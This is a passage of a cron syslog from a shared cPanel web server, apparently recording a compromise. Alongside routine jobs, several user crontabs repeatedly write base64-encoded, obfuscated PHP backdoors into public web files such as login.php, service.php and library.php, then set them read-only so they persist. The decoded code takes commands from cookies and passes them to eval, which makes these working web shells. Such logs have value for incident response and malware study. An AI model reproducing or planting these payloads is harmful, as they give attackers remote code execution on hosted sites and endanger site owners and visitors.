sgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:27:02 medusa CROND[11081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:27:02 medusa CROND[11088]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:27:02 medusa CROND[11091]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:27:02 medusa CROND[11104]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:27:02 medusa CROND[11107]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:28:01 medusa CROND[3741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:28:01 medusa CROND[3742]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:28:01 medusa CROND[3743]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:28:01 medusa CROND[3744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:28:01 medusa CROND[3745]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:28:01 medusa CROND[3747]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:28:01 medusa CROND[3748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:28:01 medusa CROND[3749]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:28:01 medusa CROND[3750]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:28:01 medusa CROND[3753]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:28:01 medusa CROND[3754]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:28:01 medusa CROND[3752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:28:01 medusa CROND[3755]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:28:01 medusa CROND[3757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:29:01 medusa CROND[28208]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:29:01 medusa CROND[28319]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:29:01 medusa CROND[28359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:29:01 medusa CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:29:01 medusa CROND[28361]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:29:01 medusa CROND[28362]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:29:01 medusa CROND[28364]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:29:01 medusa CROND[28365]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:29:01 medusa CROND[28366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:29:01 medusa CROND[28367]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:29:01 medusa CROND[28373]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:29:01 medusa CROND[28368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
